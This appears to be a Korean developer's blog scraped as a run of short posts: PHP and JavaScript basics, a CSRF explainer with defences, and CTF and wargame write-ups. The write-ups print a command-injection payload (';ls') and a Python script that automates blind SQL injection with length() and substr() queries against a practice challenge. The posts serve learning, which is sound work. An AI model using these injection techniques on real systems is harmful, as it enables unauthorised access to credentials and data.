<?php
    try{
        $con = new PDO('mysql:host=localhost;dbname=php_board', 'root', 'password');
        $con->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    }catch(PDOException $e){
        echo "fail" .$e->getMessage() .', where: ' .$e->getFile() .':' .getLine();
    }
    // PDOException : PDO에서 발생한 오류
    // getMessage() : 예외 메시지 반환
?>

 

'Web > Develop' 카테고리의 다른 글

[Javascript] 사칙연산 계산기  (0) 2020.08.21
[PHP] isset()  (0) 2020.06.14
[PHP] phpinfo  (0) 2020.06.12
[JavaScript] 화살표 함수  (0) 2020.02.02
[JavaScript] 함수 표현식과 함수 선언문  (0) 2020.01.27

PHP 정보와 설정값등을 보여준다.

<?php phpinfo(); ?>

 

 

'Web > Develop' 카테고리의 다른 글

[PHP] isset()  (0) 2020.06.14
[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14
[JavaScript] 화살표 함수  (0) 2020.02.02
[JavaScript] 함수 표현식과 함수 선언문  (0) 2020.01.27
[JavaScript] confirm()  (0) 2020.01.27

화살표 함수: 화살표 기호(=>)를 이용하여 함수를 작성하는 방법. 기존 함수보다 단순하고 간결한 문법으로 함수를 만들 수 있다. 

 

let sum (a,b) => a + b; //화살표함수

let sum = function(a, b){	//원래 함수
	return a+b;
};		

 

'Web > Develop' 카테고리의 다른 글

[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14
[PHP] phpinfo  (0) 2020.06.12
[JavaScript] 함수 표현식과 함수 선언문  (0) 2020.01.27
[JavaScript] confirm()  (0) 2020.01.27
[JavaScript] prompt()  (0) 2020.01.26
// 함수 선언문
function sum(a, b){
	return a+b;
}
// 함수 표현식
let sum = function(a, b){
	return a+b;
};

함수 선언문은 스크립트 실행 준비 단계에서 생성되기 때문에 함수 선언문의 앞에서도 호출이 가능하나 함수 표현식은 코드의 순서대로 순차적으로 생성 되어 표현식이 선언된 후에만 접근할 수 있다.

'Web > Develop' 카테고리의 다른 글

[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14
[PHP] phpinfo  (0) 2020.06.12
[JavaScript] 화살표 함수  (0) 2020.02.02
[JavaScript] confirm()  (0) 2020.01.27
[JavaScript] prompt()  (0) 2020.01.26

confirm : 매개 변수로 받은 질문과 확인 및 취소 버튼이 있는 창을 띄우는 함수

확인을 누르면 참(true), 취소를 누르면 거짓(false)를 반환.

 

confirm('Are you female??')

 

'Web > Develop' 카테고리의 다른 글

[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14
[PHP] phpinfo  (0) 2020.06.12
[JavaScript] 화살표 함수  (0) 2020.02.02
[JavaScript] 함수 표현식과 함수 선언문  (0) 2020.01.27
[JavaScript] prompt()  (0) 2020.01.26

Web

[Robots. Yeah, I know, pretty obvious.]

문제를 보니 별 다른 링크는 없었고 설명에 로봇과 관련된 말들이 써 있길래 ctf 페이지의 robots.txt 파일을 확인해 봤다.

해당 파일은 존재 했고 파일에는 다음과 같은 내용들이 있었다.

저 파일들 중 /robot-nurses 파일에 들어가 보니 플래그가 있었다.

flag : rtcp{r0b0t5_4r3_g01ng_t0_t4k3_0v3r_4nd_w3_4r3_s0_scr3w3d}

 

[No Sleep]

문제 페이지에 들어가 보면 시간 카운트다운을 하고 있었다.

그리고 문제 페이지의 쿠키를 확인하면 다음과 같이 어떤 시간을 저장하고 있다.

이 시간이 웹 페이지에 나온 기다려야하는 시간 같으니 저 시간을 현재 시간으로 바꿔주면 플래그가 보인다.

flag : rtcp{w0w_d1d_u_st4y_up?}

 

[Phishing for Flags]

문제를 보면 이메일 압축 파일이 주어지는데 압축 해제하면 메일 파일들이 있다.

메일 파일들을 보면 GIVE ME BACK MY EYEHOLES 라는 파일의 링크를 들어가보면 riceteacatpanda.wtf/phishingemail 링크로 연결되는데 저 페이지 안에 플래그가 있다.

flag : rtcp{r34d_b3f0rE_yOU_C1iCk}

 

[What's in The Box?!]

문제를 보면 박스 이모티콘이 하나 있는데 그 이모티콘을 개발자모드로 확인해보면 a 태그로 javascript 코드가 연결되어 있다. 

이 javascript 코드를 잘 읽어보면 다음과 같이 주석으로 플래그가 나누어져 있다.

 

Cryptography

[Don't Give The GIANt a COOKie]

69acad26c0b7fa29d2df023b4744bf07 이 암호화된 문자열을 md5로 복호화 하면 chocolate mmm 라는 문자열이 나온다. 이 문자열을 플래그 형식으로 제출하면 된다.

flag : rtcp{chocolate mmm}

 

[15]

문제를 보면 다음과 같이 긴 문자열이 존재하고 하단에 플래그로 예측되는 문자열이 있다.

해당 문자열을 빈도분석 기법으로 해독해보면 암호를 해독할 수 있다. 빈도분석은 다음 사이트에서 온라인으로 분석할 수 있다. https://quipqiup.com/

flag : rtcp{c4R3Ful_w1tH_3X1f_d4T4}

 

[Forensics]

[BTS-Crazed]

문제 파일을 보면 음악 파일인데 HxD로 플래그 포맷인 rtcp를 검색해보면 플래그가 나온다.

 

flag : rtcp{j^cks0n_3ats_r1c3}

 

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

prompt : 텍스트 메시지, 입력필드, 확인, 취소 버튼이 있는 창을 띄우는 함수

prompt(title, [default]);

title: 사용자에게 보여줄 메시지

default : 입력 필드의 초기값(선택사항이나 IE(익스플로러)에서는 반드시 값을 넣어줘야 함)

 

prompt 함수가 실행되면 대화상자의 입력필드에 원하는 값을 입력후 확인을 누를 수 있음. 확인을 누를 경우 입력 값이 반환되고, 입력을 취소하면 null값을 반환함

 

prompt("name", "default");

 

'Web > Develop' 카테고리의 다른 글

[PHP] PDO로 데이터베이스(mysql) 연결  (0) 2020.06.14
[PHP] phpinfo  (0) 2020.06.12
[JavaScript] 화살표 함수  (0) 2020.02.02
[JavaScript] 함수 표현식과 함수 선언문  (0) 2020.01.27
[JavaScript] confirm()  (0) 2020.01.27

Cross-Site Request Forgery : 사이트간 요청 위조

 

공격자가 피해자가 의도하지 않은 요청을 웹 사이트에 요청 하도록 하는 공격 방법이다.

공격자는 웹 사이트(대상)가 피해자를 신뢰하는 상태 이어야 한다. 

피해자의 권한을 이용하여 의도하지 않은 요청을 웹 사이트에 하는 것이다. 

공격자가 피해자에게 의도한 공격을 수행하는 스크립트를 실행하도록 한다.

웹 사이트가 피해자를 신뢰하는 상태에서 피해자가 스크립트를 실행하면 공격자가 의도한 대로 요청을 전송할 수 있다.

 

CSRF 공격 방법

웹 사이트가 HTTP 쿠키에 의해서만 사용자를 검증한다면 해당 공격에 취약할 수 있다.

웹 사이트의 동작 방식을 확인하고 어떤 요청을 했을 때 어떻게 반응하는지 등을 살펴본다.

공격자가 의도한 요청을 전송할 수 있는 html 페이지나 스크립트를 만들고, 피해자가 그 html 페이지에 접속하거나 스크립트를 실행하도록 유도한다. 이때 피해자는 웹 사이트가 신뢰하고 있는 상태여야 한다.

 

CSRF 방어 기법 

CSRF 토큰 사용 :

HTML 형태의 숨겨진 필드를 통해 추가적인 토큰을 생성하여 각 요청이 전송될 때 토큰 값이 유효한지 검증한 후 요청을 수행한다. 공격자는 토큰의 값을 결정할 수 없도록 임의의 난수로 생생해야 한다.

CAPTCHA 사용:

사용자로 부터 captcha값을 입력 받도록 하여 captcha 값을 검증 후에 요청을 수행하도록 한다.

 

'Web > Vulnerability' 카테고리의 다른 글

SSRF  (0) 2020.11.10

문제 페이지에 들어가면 ping을 보낼 수 있는 기능이 있어 8.8.8.8로 핑을 보내보니 정상적으로 보내지는 것을 확인할 수 있었다. 

이 과정에서 서버의 ping 명령어를 사용하는 것을 알 수 있었고 다중 명령어 사용을 의미라는 세미클론(;)으로 ls명령를 사용하여 서버의 파일 목록들을 확인할 수 있었다.

payload = ;ls

파일 목록을 보니 print-flag 라는 파일이 있었고, 해당 url을 입력하여 이 파일을 다운로드 할 수 있었다.

payload = http://lowdeep.insomnihack.ch/print-flag

 

다운로드한 파일을 hxd로 확인해 보니 elf 파일 이였고, 파일의 가장 끝부분을 보면 플래그를얻을 수 있었다.

flag : INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26

문제를 보면 pw 값이 admin의 pw값과 일치하면 문제를 풀 수 있는 것 같다.

blind sql injection 을 통해 pw를 알아낼 수 있을 것 같다.

pw 알아내는 과정을 두 단계로 설명해 보면 먼저 pw의 길이를 알아내고 알아낸 길이로 실제 pw 값을 알아낼 수 있다.

pw의 길이를 알아내는 방법은 length() 함수를 통해 알아낼 수 있고, pw 값은 substr() 함수를 통해 알아낼 수 있다.

length()는 문자열 길이를 반환하는 함수이고, substr()함수는 문자열을 특정 범위만큼 자르는 함수이다.

 

위 페이지에서는 쿼리의 조건이 참이면 "Hello admin"을 출력한다.

length() 함수를 이용하여 pw의 길이를 1부터 확인해 본 결과 pw의 길이는 8이였다.

query: ?pw=' or length(pw)=8--%20

pw의 값은 substr 함수로 1자리씩 참,거짓을 판단하여 구할 수 있다. 

이 과정을 사람이 수행하기에는 경우의 수가 너무 많기 때문에 파이썬으로 자동화 코드를 짜서 실행하였다.

import requests
import re

cookies = {"PHPSESSID": "38mrr1emu522is42ls4dq00svn"}
pwLen = 0
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
tryList = []
result = ""



for i in range(0,10):
    tryList.append(i)

for i in range(97, 123):  # 아스키 코드 값(영문 소문자)
    tryList.append(chr(i))


for i in range(1,100):
    lenPayload = "?pw=1' or length(pw)='" +str(i)
    new_url = url + lenPayload
    req = requests.get(new_url,cookies=cookies)

    if re.findall("<h2>Hello admin</h2>", req.text):        # pw 길이를 찾으면 길이를 저장하고 반복문 종료
        pwLen = i
        break

print("pw len : " +str(pwLen))



for i in range(1,pwLen+1):                         # pw 길이 만큼 반복
    for w in range(0,len(tryList)+1):              # 0~9 숫자 + 영소문자 갯수 만큼 반복
        par = "?pw=1' or substr(pw," +str(i) +",1)='" +str(tryList[w])      # pw 값을 1번째 자리부터 숫자, 영소문자를 대입하여 비교
        new_url = url + par
        req = requests.get(new_url,cookies=cookies)

        if re.findall("<h2>Hello admin</h2>", req.text):       # 결과가 참이면 해당 값을 저장하고 다음 자리로 넘어감
            print(tryList[w])
            result += str(tryList[w])
            break


print("password is " +result)

 위 코드를 수행하면 다음과 같은 결과값이 나오고, pw를 문제 페이지에 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10

+ Recent posts